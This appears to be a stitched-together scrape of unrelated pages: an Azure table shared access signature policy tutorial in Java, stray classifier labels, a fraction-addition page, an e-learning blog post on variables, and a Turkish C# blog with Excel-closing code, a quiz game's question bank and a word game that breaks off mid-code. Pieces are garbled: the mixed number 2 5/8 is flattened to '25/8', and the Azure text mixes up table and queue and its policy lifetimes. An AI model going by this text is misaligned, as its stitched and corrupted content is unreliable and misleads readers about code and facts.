storageAccount.createCloudTableClient(); CloudTable table = tabClient.getTableReference("people1"); table.createIfNotExists(); SharedAccessTablePolicy policy = new SharedAccessTablePolicy(); GregorianCalendar calendar = new GregorianCalendar(TimeZone.getTimeZone("UTC")); calendar.setTime(new Date()); policy.setSharedAccessStartTime(calendar.getTime()); calendar.add(Calendar.HOUR, 3); policy.setSharedAccessExpiryTime(calendar.getTime()); policy.setPermissions(EnumSet.of(SharedAccessTablePermissions.ADD, SharedAccessTablePermissions.DELETE, SharedAccessTablePermissions.QUERY, SharedAccessTablePermissions.UPDATE)); TablePermissions tabPermissions = new TablePermissions(); tabPermissions.getSharedAccessPolicies().put("Heath", policy); table.uploadPermissions(tabPermissions); String sas = table.generateSharedAccessSignature( new SharedAccessTablePolicy(),"Heath", "Smith", "Denise", "Smith", "Julie"); //Valid for this partitionKey-rowKey range System.out.println("The stored access policy signature for the " + table.getName() + " table:"); System.out.println(sas); } } If people1 exists, this code adds the policy heath to the container. Because a basic SAS saves all its information in the SAS string and a policy SAS saves its information with the table, the access rights of unexpired basic SAS urls are unaffected by adding or modifying a policy SAS. You cannot revoke a basic SAS that has already been distributed by creating a policy SAS for the table. If the previous Java code is rerun before or after the expiration time of the policy SAS, this will renew the heath policy SAS for an additional 3 hours and reactivate any revoked or expired heath urls that have been distributed. You can also update the permissions (i.e. add or remove access permissions) at any time by editing and rerunning this code. To revoke and cancel all the urls that have been distributed with the heath policy SAS, rerun the code with an expiration time that is earlier than start time. For example, substitute the following to revoke the policy SAS and cancel all the permissions to urls that have been distributed to users. policy.setSharedAccessStartTime(calendar.getTime()); calendar.add(Calendar.HOUR, -1); //Expiration time is earlier than start time policy.setSharedAccessExpiryTime(calendar.getTime()); You can also revoke a policy SAS after distribution by removing or replacing the policy in the container. If the code is rerun on people1, with the name of the policy changed from heath to baxter , the new policy baxter overwrites the old policy heath. This cancels all the urls already distributed with a heath policy SAS. However, the old urls associated with heath policy can be reactivated by rerunning the code a third time with the policy changed from baxter to heath (which cancels all the baxter urls.) The policy SAS can be appended to the basic url for the table as query parameters to construct a decorated url with the controlled permissions in the same way as a basic SAS. Note that the SAS generated by the code above does not include the query symbol (?) required between the basic url and policy SAS. For example, the string for people1 would be similar to the following. http://contoso.table.core.windows.net/people1?erk=Julie&tn=people3&srk=Denise&spk=Smith&epk=Smith&sv=2012-02-12&sig=PPPPPn5nnnn5nPnPPnnnnPnnP PnnnPPnnn5PP55PPPP%5P&si=heath Applications can use the policy SAS in exactly the same way as a basic SAS. Simply substitute the policy SAS string for the basic SAS string in the previous examples to control access with a shared access policy. Applications that have a policy SAS can perform add, delete, query, and update operations on entities in the table without knowledge of the Azure storage account key. A useful pattern to implement flexible table access control is to specify up to four stored access policies for the table. This approach still leaves the ability to also distribute as necessary short-lived basic SAS urls for the table. The basic SAS urls can give access permissions independent of the policy. The following Java code demonstrates how two stored access policies can be saved for a single queue. The policy heath has a 5 hour life, but only grants access to query but not change the table. public class TablePolicies { public static void main(String[] args) throws InvalidKeyException, URISyntaxException, StorageException { // Account key required to create SAS Account creds = new Account(); final String storageConnectionString = creds.getstorageconnectionstring(); CloudStorageAccount storageAccount = CloudStorageAccount.parse(storageConnectionString); CloudTableClient tabClient = storageAccount.createCloudTableClient(); CloudTable table = tabClient.getTableReference("people"); table.createIfNotExists(); SharedAccessTablePolicy policy = new SharedAccessTablePolicy(); GregorianCalendar calendar = new GregorianCalendar(TimeZone.getTimeZone("UTC")); calendar.setTime(new Date()); policy.setSharedAccessStartTime(calendar.getTime()); // Applicable time-span is 1 hour calendar.add(Calendar.HOUR, 1); policy.setSharedAccessExpiryTime(calendar.getTime()); // Baxter policy grants add, delete, query and update access policy.setPermissions(EnumSet.of(SharedAccessTablePermissions.ADD, SharedAccessTablePermissions.DELETE, SharedAccessTablePermissions.QUERY, SharedAccessTablePermissions.UPDATE)); SharedAccessTablePolicy policy2 = new SharedAccessTablePolicy(); GregorianCalendar calendar2 = new GregorianCalendar(TimeZone.getTimeZone("UTC")); calendar2.setTime(new Date()); policy2.setSharedAccessStartTime(calendar2.getTime()); // Applicable time-span is 5 hours calendar2.add(Calendar.HOUR, 5); policy2.setSharedAccessExpiryTime(calendar2.getTime()); // Heath policy grants query access only policy2.setPermissions(EnumSet.of(SharedAccessTablePermissions.QUERY)); TablePermissions tabPermissions = new TablePermissions(); tabPermissions.getSharedAccessPolicies().put("Baxter", policy); tabPermissions.getSharedAccessPolicies().put("Heath", policy2); table.uploadPermissions(tabPermissions); String sas = table.generateSharedAccessSignature( new SharedAccessTablePolicy(),"Baxter", null, null, null, null); System.out.println("The stored access policy signature:"); System.out.println(sas); String sas2 = table.generateSharedAccessSignature(new SharedAccessTablePolicy(),"Heath", null, null, null, null); System.out.println("The stored access policy2 signature:"); System.out.println(sas2); } } See Also Show: © 2015 Microsoft
__label__pos
0.674174
Answers Solutions by everydaycalculation.com Answers.everydaycalculation.com » Add fractions Add 5/2 and 1/8 1st number: 2 1/2, 2nd number: 1/8 5/2 + 1/8 is 21/8. Steps for adding fractions 1. Find the least common denominator or LCM of the two denominators: LCM of 2 and 8 is 8 Next, find the equivalent fraction of both fractional numbers with denominator 8 2. For the 1st fraction, since 2 × 4 = 8, 5/2 = 5 × 4/2 × 4 = 20/8 3. Likewise, for the 2nd fraction, since 8 × 1 = 8, 1/8 = 1 × 1/8 × 1 = 1/8 4. Add the two like fractions: 20/8 + 1/8 = 20 + 1/8 = 21/8 5. So, 5/2 + 1/8 = 21/8 In mixed form: 25/8 MathStep (Works offline) Download our mobile app and learn to work with fractions in your own time: Android and iPhone/ iPad Related: © everydaycalculation.com
__label__pos
0.993168
The Rapid Elearning Blog Variables in E-Learning Why should one use variables in elearning, especially since the authoring tools are so easy to use? Good question. Many course authors transition from facilitated classroom training to elearning development. Their companies buy software and then they’re left on their own to build courses. If you’re using software like Storyline, producing courses is relatively simple. However, the tendency is to keep course design simple, as well. Because of this, many courses are mostly linear, explainer-type content with generic navigation. This is fine for some courses, but what if you want more than linear content? What if you want training that can evaluate the learner’s responses and provide an experience unique to that person? You can build this type of course, but you need to use variables. What are Variables in E-Learning? A variable doesn’t have a fixed value. It can be changed or adapted as things happen. I learned to think of a variable as a bucket that holds something (a value). This value is dynamic and can change based on user input or actions. Variables in E-Learning example For example, if you want to acquire the learner’s name to display in the course, you create a bucket (variable) to collect the name (value). And then when you need to display the name, you reference the variable’s value. The user name value isn’t fixed until the user enters the name. That’s what makes it a variable—the value is dynamic. In a simple sense, I like to think of the user as the variable. I don’t know what she’ll enter or what decisions she’ll make in the course. But I can program the course to collect and evaluate what she does and use it to create a more dynamic learning experience. Why Use Variables in E-Learning Variables allow course authors to create dynamic learning experiences. With variables, we can evaluate what’s happening in the course and tailor an experience unique to the learner. For example, to create a personalized learning experience we can display the learner’s name, allow them to customize avatars and color schemes, and even select a local language. Here are some other common reasons to use variables: • Transform a simple course flow to something more complex and dynamic. • Evaluate the choices the learner is making and provide remedial and custom feedback. • Create an adaptive learning path and direct the learner based on results. • Allow a personalized learning experience. • Track progress and completed modules. • Gamify the learning process using variable-based game mechanics. • Accept numeric input and process calculations. These are just a few common use cases for variables. There’s really a lot more you can do with variables in elearning. If you’re just getting started, working with variables may seem a bit daunting. But it’s not. It just takes a little practice and application. Start with something simple and build from there. Here are some good tutorials to help you learn more and they include practice activities: How are you using variables in your elearning courses? Upcoming E-Learning Events Free E-Learning Resources Want to learn more? Check out these articles and free resources in the community. Here’s a great job board for elearning, instructional design, and training jobs Participate in the weekly elearning challenges to sharpen your skills Get your free PowerPoint templates and free graphics & stock images. Lots of cool elearning examples to check out and find inspiration. Getting Started? This elearning 101 series and the free e-books will help.   3 responses to “The Case for Variables in E-Learning” Most recently, I used variables to allow learns to easily navigate content after completing a short linear course. The course contained three short tutorial videos and does not display the media player. This was designed to force the learning to watch the whole video before they are able to move on. After the video is complete, a variable is set from zero to one. Once all three variables have a value of one a navigation menu is displayed so users can later go back and jump to any tutorial they would like without having to go through the entire course again. January 19th, 2016 We’ve been using variables to create complex, user dependent navigation in Flash courses for quite some time now. However, we’ve been constrained from the time we switched to Storyline. Variables are specially useful to display dynamic content which is changing frequently (such as numbers etc) Looking forward to the free session on Feb 3rd. January 27th, 2016 Nice information about the Variables with the help of an example. Nice guidance….!!!!
__label__pos
0.66703
2 Eylül 2016 Cuma C Sharp Uygulamalar Excel Workbook Dosyası Açık ise Kaydetme ve Kapatma KONU : C sharp excel workbook dosyasını kapatma. Dosya ismi bilinen bir excel dokümanını kaydetme ve kapatma. Açık olan ve Dosya ismi bilinen excel dokümanlarını kaydetme ve kapatma. Excel , Excel.Application, InteropServices, Workbooks, Save, Close ETİKETLER: c sharp - c# - c sharp uygulamalar - Excel - Workbooks - c sharp örnekler - c# applications - c sharp form ve konsol uygulamalar private void CloseSelectedExcelFile_Click(object sender, EventArgs e) { Excel.Application a = new Excel.Application(); string fileName = "FNSS_COMPONENTS.xlsx"; Microsoft.Office.Interop.Excel.Application oExcelApp; //Get reference to Excel.Application from the ROT. if (Process.GetProcessesByName("EXCEL").Count() > 0) { oExcelApp = (Microsoft.Office.Interop.Excel.Application)System.Runtime.InteropServices.Marshal.GetActiveObject("Excel.Application"); foreach (Microsoft.Office.Interop.Excel.Workbook WB in oExcelApp.Workbooks) { //MessageBox.Show(WB.FullName); if (WB.Name == fileName) { WB.Save(); WB.Close(); //oExcelApp.Quit(); } } } } 15 Mayıs 2016 Pazar C Sharp Konsol Uygulamlar Otobus Otomasyon Sistemi Yapımı Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar Konsol Overloading Örnekleri İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar Konsolda On Numara Oyununu İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar Konsolda Sayı Tahmin Etme Oyununu İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamaları 20 ile Bölünen Sayıları Listeleme Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar 14 Mayıs 2016 Cumartesi C Sharp Uygulamalar XBall Oyunu İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar PASSWORD: c-sharp-uygulamalar 17 Nisan 2016 Pazar C# Konsol Ekranından Girilen 20 Sayıyı Sınıflandırma - Sıfır - Pozitif - Negatif - Çift -Tek Sayı Olarak Sınıflandırma Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar Kosnol Ekranına Yıldız ile X Çizdirme Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar 14 Nisan 2016 Perşembe C Sharp if örnekleri - C Sharp if else örnekleri - C sharp if else kullanımı Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar 11 Nisan 2016 Pazartesi C Sharp Uygulamalar Kim 500 Milyon İster Oyunu Oyna KONU : C Sharp Uygulamalar - C Sharp ( C# ) form da kim 500 milyon ister oyunu oynama. UserControl kullanarak sürükle bırak nesnesi oluşturma. ETİKETLER: c sharp usercontrol - c sharp class - c sharp sınıf - c sharp generic list - c# usercontrol - c # generic list UYGULAMAYI İNDİR using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Kim_500_Milyar_Ister { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { soru.OyunuBaslat(); } } } using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Data; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Kim_500_Milyar_Ister { public partial class Soru : UserControl { List< int > soruNolar = new List< int >(); Sorular sorular; int soruNo = 0; int[] ödül = {500,1000,2000,3000,5000,7500,15000,30000,60000,120000,250000,500000 }; public Soru() { InitializeComponent(); } public string SoruNo { get { return this.grouper1.GroupTitle.Substring(5); } set { this.grouper1.GroupTitle = "SORU "+value; } } public string SoruAciklamasi { get { return txtSoru.Text ; } set { txtSoru.Text = value; } } public string SecenekA { get { return txtSecenekA.Text ; } set { txtSecenekA.Text = value; } } public string SecenekB { get { return txtSecenekB.Text; } set { txtSecenekB.Text = value; } } public string SecenekC { get { return txtSecenekC.Text; } set { txtSecenekC.Text = value; } } public string SecenekD { get { return txtSecenekD.Text; } set { txtSecenekD.Text = value; } } public char DogruSecenek { get; set; } public bool CevapDogruMu { get; set; } private void txtSecenekler_Click(object sender, EventArgs e) { if (!(sender is TextBox)) return; TextBox secilenSecenek = sender as TextBox; secilenSecenek.BackColor = Color.Orange; if (DogruSecenek == 'A') { txtSecenekA.BackColor = Color.Lime; } else if (DogruSecenek == 'B') { txtSecenekB.BackColor = Color.Lime; } else if (DogruSecenek == 'C') { txtSecenekC.BackColor = Color.Lime; } else if (DogruSecenek == 'D') { txtSecenekD.BackColor = Color.Lime; } if (secilenSecenek.BackColor == Color.Lime) { CevapDogruMu = true; } else { CevapDogruMu = false; } DurumuGoster(CevapDogruMu); } private void DurumuGoster(bool durum) { if (durum) { btnIslem.Text = "Sonraki Soru"; lblOdulMiktari.Text = string.Format("{0:C}", ödül[soruNo-1]); } else { btnIslem.Text = "Oyun Bitti. Yeni Oyun İçin Tıklayın"; } btnIslem.Enabled = true; } public void OyunuBaslat() { soruNo = 0; lblOdulMiktari.Text = string.Format("{0:C}", 0); sorular = new Sorular(); Random rastgele = new Random(); soruNolar.Clear(); soruNolar.Add(rastgele.Next(sorular.TumSorular.Count)); for (int i = 0; i < 11; i++) { int no = rastgele.Next(sorular.TumSorular.Count); if (soruNolar.Contains(no)) { i--; } else { soruNolar.Add(no); } } CevapDogruMu = true; SoruyuGoster(); } private void btnIslem_Click(object sender, EventArgs e) { if (CevapDogruMu) SoruyuGoster(); else OyunuBaslat(); } private void SoruyuGoster() { btnIslem.Focus(); btnIslem.Enabled = false; btnIslem.Text = "Yanıt Bekleniyor"; if (CevapDogruMu) { foreach (Control item in grouper1.Controls) { if(item is TextBox) item.BackColor = SystemColors.Control; } this.SoruAciklamasi = sorular.TumSorular[soruNolar[soruNo]].SoruAciklamasi; this.SecenekA = sorular.TumSorular[soruNolar[soruNo]].SecenekA; this.SecenekB = sorular.TumSorular[soruNolar[soruNo]].SecenekB; this.SecenekC = sorular.TumSorular[soruNolar[soruNo]].SecenekC; this.SecenekD = sorular.TumSorular[soruNolar[soruNo]].SecenekD; this.DogruSecenek = sorular.TumSorular[soruNolar[soruNo]].DogruSecenek; this.SoruNo = (soruNo + 1).ToString(); soruNo++; } } } } using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace C_Sharp_Kim_500_Milyar_Ister { class Sorular { public List< Soru > TumSorular; public Sorular() { TumSorular = new List< Soru >(); Soru yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "1958'de Gerald Holtom'ın yaptığı barış sembolü neyi protesto etmek için tasarlanmıştır?"; yeniSoru.SecenekA = "Vietnam Savaşı"; yeniSoru.SecenekB = "Soykırım"; yeniSoru.SecenekC = "Nükleer Silahlanma"; yeniSoru.SecenekD = "Kore savaşı"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Eski Roma'da gladyatör dövüşlerinin yapıldığı \"arena\"nın kelime anlamı nedir?"; yeniSoru.SecenekA = "Kavga"; yeniSoru.SecenekB = "Kum"; yeniSoru.SecenekC = "Kan"; yeniSoru.SecenekD = "Kılıç"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "1958’te, “Nobel Edebiyat Ödülü” kazanmasına rağmen vatandaşlıktan çıkarılacağı korkusuyla reddeden Rus yazar kimdir?"; yeniSoru.SecenekA = "Boris Pasternak"; yeniSoru.SecenekB = "Mihail Şolohov"; yeniSoru.SecenekC = "Aleksandr Soljenitsin"; yeniSoru.SecenekD = "Maksim Gorki"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Hangisi para üzerine resmi basılan bilinen ilk gerçek kişidir?"; yeniSoru.SecenekA = "Kraliçe I.Elizabeth"; yeniSoru.SecenekB = "Jules Cesar"; yeniSoru.SecenekC = "Napoleon Bonaparte"; yeniSoru.SecenekD = "Büyük İskender"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Efsaneye göre çift olarak yaratılan insanlar kim tarafından ayrılarak hayatları boyunca “ruh eşleri”ni aramakla cezalandırılmışlardır?"; yeniSoru.SecenekA = "Zeus"; yeniSoru.SecenekB = "Apollon"; yeniSoru.SecenekC = "Hermes"; yeniSoru.SecenekD = "Metis"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "“Onun sayesinde” sözündeki “saye” nin kelime anlamı nedir?"; yeniSoru.SecenekA = "Rüzgar"; yeniSoru.SecenekB = "Koltuk"; yeniSoru.SecenekC = "Merdiven"; yeniSoru.SecenekD = "Gölge"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = " Hangi türk lirası banknotunda Atatürk'ün yüzü bize tam dönüktür ?"; yeniSoru.SecenekA = "5 TL"; yeniSoru.SecenekB = "20 TL"; yeniSoru.SecenekC = "50 TL"; yeniSoru.SecenekD = "200 TL"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Adını Büyük İskenderin kız kardeşinden alan kent hangisidir"; yeniSoru.SecenekA = "Delhi"; yeniSoru.SecenekB = "Selanik"; yeniSoru.SecenekC = "Bağdat"; yeniSoru.SecenekD = "Viyana"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "1997’de hangi ülkenin üç vatandaşı, atalarından miras kaldığını düşündükleri Mars’a izinsiz uzay aracı gönderdiği için NASA’yı mahkemeye vermiştir?"; yeniSoru.SecenekA = "Yemen"; yeniSoru.SecenekB = "Hindistan"; yeniSoru.SecenekC = "Kuzey Kore"; yeniSoru.SecenekD = "İran"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Bir tür Kaplıca olan “Spa” ismini hangisinden almıştır?"; yeniSoru.SecenekA = "Latince bir deyişin kısaltmasından"; yeniSoru.SecenekB = "Mitolojik bir tanrıdan "; yeniSoru.SecenekC = "İtalya’daki bir şelaleden"; yeniSoru.SecenekD = "Belçika’da bir bölgeden"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Hangisi kesildiğinde, insanlar hep birlikte “Aaaa” diyerek şok olmuşcasına tepki verirler?"; yeniSoru.SecenekA = "Telefon"; yeniSoru.SecenekB = "İnternet"; yeniSoru.SecenekC = "Su"; yeniSoru.SecenekD = "Elektrik"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Misafirliğe çocuklarıyla giden anneler, çocuklarını yaramazlık yapmamaları konusunda ne şekilde uyarırlar?"; yeniSoru.SecenekA = "Omuz silkerek "; yeniSoru.SecenekB = "Parmak Şıklatarak"; yeniSoru.SecenekC = "Islık Çalarak "; yeniSoru.SecenekD = "Kaş göz işareti yaparak"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "İnsanların, düğünlerde etrafa saçtıkları dolarlar genellikle ne kadarlık banknotlardır?"; yeniSoru.SecenekA = "1"; yeniSoru.SecenekB = "10"; yeniSoru.SecenekC = "50"; yeniSoru.SecenekD = "100"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Kahvehanelerde, tavlayı ters çevirip, pullarla birlikte zarları da pul yerine kullanarak oynanan oyun hangisidir?"; yeniSoru.SecenekA = "Satranç"; yeniSoru.SecenekB = "Dama"; yeniSoru.SecenekC = "Asker Tavlası"; yeniSoru.SecenekD = "Kız Tavlası"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Geçici dövme olarak kullanılan kınalar hangi milletin adıyla anılır?"; yeniSoru.SecenekA = "Hint"; yeniSoru.SecenekB = "Çin"; yeniSoru.SecenekC = "Yunan"; yeniSoru.SecenekD = "Arap"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Yönetmenliğini Joshua Michael Stern’in yaptığı ashton Kutcher’in başrolde olduğu filmde kimin hayatı anlatılmaktadır?"; yeniSoru.SecenekA = "Mark Zockerberg"; yeniSoru.SecenekB = "Eric Schmidt"; yeniSoru.SecenekC = "Stevve Jobs"; yeniSoru.SecenekD = "Bill Gates"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Adının anlamı Arapçada “Yunan Tavuğu”, Yunancada “Fransız Tavuğu”, Fransızcada ise “hint tavuğu” olan hayvanın bizdeki adı nedir?"; yeniSoru.SecenekA = "Sülün"; yeniSoru.SecenekB = "Ördek"; yeniSoru.SecenekC = "Hindi"; yeniSoru.SecenekD = "Tavuk"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Birine, “Dört ayak üstüne düştün” demek yerine hangisi söylense aynı anlama gelir?"; yeniSoru.SecenekA = "Şanslısın"; yeniSoru.SecenekB = "Heyecanlısın"; yeniSoru.SecenekC = "Meraklısın"; yeniSoru.SecenekD = "Korkaksın"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Eskiden, annelerin diğer telefonda çocuklarının konuşmalarını dinlediği, aynı numaraya sahip iki telefon hattı hangi isimle anılırdı?"; yeniSoru.SecenekA = "Telsiz Telefon"; yeniSoru.SecenekB = "Paralel Telefon"; yeniSoru.SecenekC = "Ankesörlü telefon"; yeniSoru.SecenekD = "Kurulu telefon"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Lüks lambasıyla aydınlatılan el arabalarındai genellikle gece vakti, yanında ayranla satılan seyyar satıcı yiyeceği hangisidir?"; yeniSoru.SecenekA = "Çöp şiş"; yeniSoru.SecenekB = "Midye dolma"; yeniSoru.SecenekC = "Nohutlu Pilav"; yeniSoru.SecenekD = "Balık Ekmek"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Duygulanan bir insanın gözlerinden yaş gelmesini ifade eden sözün doğru söyleniş biçimi hangisidir?"; yeniSoru.SecenekA = "Gözlerim yeşerdi"; yeniSoru.SecenekB = "Gözlerim yaşardı"; yeniSoru.SecenekC = "Gözlerim yaşerdi"; yeniSoru.SecenekD = "Gözlerim yeşillendi"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Hangisinin hem erkeği hem dişisi aynı adla anılır?"; yeniSoru.SecenekA = "Manda"; yeniSoru.SecenekB = "Öküz"; yeniSoru.SecenekC = "Boğa"; yeniSoru.SecenekD = "Koç"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Geourge Orwell’in yazdığı “1984″ romanında, Okyanusa ülkesinin her şeyin en iyisini bilen ve sürekli izleme halinde olan tek liderinin adı nedir?"; yeniSoru.SecenekA = "Sam Amca"; yeniSoru.SecenekB = "Yurttaş Kane"; yeniSoru.SecenekC = "Büyük birader"; yeniSoru.SecenekD = "Mr. Big"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Küçük kız çocukları, düğünlerde genellikle hangisini yapmakla görevlidirler?"; yeniSoru.SecenekA = "Yüzükleri takmak"; yeniSoru.SecenekB = "Kurdele kesmek"; yeniSoru.SecenekC = "Duvak taşımak"; yeniSoru.SecenekD = "Pasta kesmek"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Özellikle küçük şehirlerde, şehir merkezinden genellikle hangi kelimeyle söz edilir?"; yeniSoru.SecenekA = "Pazar"; yeniSoru.SecenekB = "Mahalle"; yeniSoru.SecenekC = "Muhit"; yeniSoru.SecenekD = "Çarşı"; yeniSoru.DogruSecenek = 'D'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Eskiden çoğu evde telefon yokken, insanlar genellikle nereye gidip, telefonun kumbarasına bozuk para koyarak telefon ederlerdi?"; yeniSoru.SecenekA = "Terzi"; yeniSoru.SecenekB = "Berber"; yeniSoru.SecenekC = "Bakkal"; yeniSoru.SecenekD = "Manav"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Kuzey yönüne bakan biri, sağ tarafına doğru kendi etrafında 360 derecelik bir dönüş yaptıktan sonra hangi yöne bakıyor olur?"; yeniSoru.SecenekA = "Kuzey"; yeniSoru.SecenekB = "Güney"; yeniSoru.SecenekC = "Doğu"; yeniSoru.SecenekD = "Batı"; yeniSoru.DogruSecenek = 'A'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Hangisi bir kuruldur?"; yeniSoru.SecenekA = "Noter"; yeniSoru.SecenekB = "Müsteşar"; yeniSoru.SecenekC = "Encümen"; yeniSoru.SecenekD = "Armatör"; yeniSoru.DogruSecenek = 'C'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Orta Çağ’da vebadan kaçan bir grup gencin, gittikleri kırsal yerde anlattıkları, 10 günü kapsayan kurgu hikayelerinden oluşan Bocaccio’nun kitabı hangisidir?"; yeniSoru.SecenekA = "Ütopya"; yeniSoru.SecenekB = "Decameron"; yeniSoru.SecenekC = "Ulysses"; yeniSoru.SecenekD = "Şibumi"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); yeniSoru = new Soru(); yeniSoru.SoruAciklamasi = "Hangisinin vücudunda kemik bulunmaz?"; yeniSoru.SecenekA = "Kaplumbağa"; yeniSoru.SecenekB = "Köpekbalığı"; yeniSoru.SecenekC = "Yunus"; yeniSoru.SecenekD = "Yarasa"; yeniSoru.DogruSecenek = 'B'; TumSorular.Add(yeniSoru); } } } UYGULAMAYI İNDİR 8 Nisan 2016 Cuma C Sharp Uygulamalar Şehir İsmi Bulmaca Oyunu Oyna KONU : C Sharp Uygulamalar - C Sharp ( C# ) şehir ismi bulmaca oyunu uygulaması. textbox ve label kullanarak kelimeyi harflere bölme. Label nesnesinin backcolor ve forecolor özelliklerini kullanarak oyun alanı oluşturma. ETİKETLER: UYGULAMAYI İNDİR using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Textbox_Label_Uygulamasi { public partial class Form1 : Form { string bulunacakKelime = ""; int bulunanHarfSayisi = 0; int kalanHak = 4; public Form1() { InitializeComponent(); } private void btnKelimeyiGir_Click(object sender, EventArgs e) { bulunacakKelime = txtBulunacakKelime.Text; txtBulunacakKelime.Text = ""; } private void btnOyunuBaslat_Click(object sender, EventArgs e) { bulunanHarfSayisi = 0; btnHarfGir.Enabled = true; lblGirilenHarfler.Text = ""; kalanHak = 4; lblKalanHak.Text = kalanHak.ToString(); grpOyunAlani.Controls.Clear(); for (int i = 0; i < bulunacakKelime.Length; i++) { Label label = new Label(); label.Location = new Point(20*i+30,20); label.Text = bulunacakKelime[i].ToString(); label.Size = new System.Drawing.Size(15, 13); label.BackColor = Color.Red; label.ForeColor = Color.Red; grpOyunAlani.Controls.Add(label); } } private void btnHarfGir_Click(object sender, EventArgs e) { bool harfVarMi = false; if (txtHarf.Text.Length != 1) { MessageBox.Show("Lütfen tek harf giriniz.", "Uyarı",  MessageBoxButtons.OK, MessageBoxIcon.Warning); } else { if (lblGirilenHarfler.Text.Contains(txtHarf.Text)) { MessageBox.Show("Bu harfi daha önce girdiniz.", "Uyarı", MessageBoxButtons.OK, MessageBoxIcon.Warning); txtHarf.Text = ""; txtHarf.Focus(); return; } foreach (Control item in grpOyunAlani.Controls) { if (item is Label) { Label label = item as Label; if (label.Text.ToUpper() == txtHarf.Text.ToUpper()) { label.ForeColor = Color.Black; label.BackColor = Color.Lime; harfVarMi = true; bulunanHarfSayisi++; } } } } if (!harfVarMi) { kalanHak--; lblKalanHak.Text = kalanHak.ToString(); if (kalanHak == 0) { btnHarfGir.Enabled = false; MessageBox.Show("Oyun Bitti. Kaybettiniz. Yeni Oyun için  yeni kelime giriniz.", "Bilgi", MessageBoxButtons.OK, MessageBoxIcon.Information); } } lblGirilenHarfler.Text += txtHarf.Text + " "; if (bulunanHarfSayisi 